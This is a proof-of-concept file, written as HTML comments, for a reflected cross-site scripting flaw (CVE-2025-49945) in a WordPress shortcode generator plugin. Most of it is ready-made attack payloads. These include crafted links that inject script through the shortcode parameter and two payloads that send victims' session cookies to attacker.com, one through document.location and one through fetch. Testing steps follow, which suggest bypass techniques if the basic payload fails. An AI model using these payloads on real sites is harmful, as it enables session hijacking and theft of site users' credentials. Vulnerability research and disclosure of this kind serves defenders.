CVE-2025-49945

<!-- CVE-2025-49945 PoC - Reflected XSS in WordPress Shortcode Generator Plugin --> <!-- Target: kylegetson Shortcode Generator <= 1.1 --> <!-- Attack Vector: Malicious URL with XSS payload in shortcode parameter --> <!-- Example 1: Basic XSS Alert --> <!-- Replace YOUR_TARGET_URL with actual WordPress site URL --> <!-- <a href="http://YOUR_TARGET_URL/wordpress/?page_id=X&shortcode=<script>alert('XSS')</script>">Click Here</a> --> <!-- Example 2: Cookie Stealing Payload --> <!-- <a href="http://YOUR_TARGET_URL/wordpress/?page_id=X&shortcode=<script>document.location='http://attacker.com/steal?c='+document.cookie</script>">View Post</a> --> <!-- Example 3: Session Hijacking with fetch API --> <!-- <script> fetch('http://attacker.com/log?data='+btoa(document.cookie)); </script> --> <!-- Recommended Testing Steps: --> <!-- 1. Install WordPress with shortcode-generator plugin <= 1.1 --> <!-- 2. Identify the vulnerable parameter endpoint --> <!-- 3. Inject various XSS payloads to confirm vulnerability --> <!-- 4. Test for context bypass techniques if basic payload fails -->

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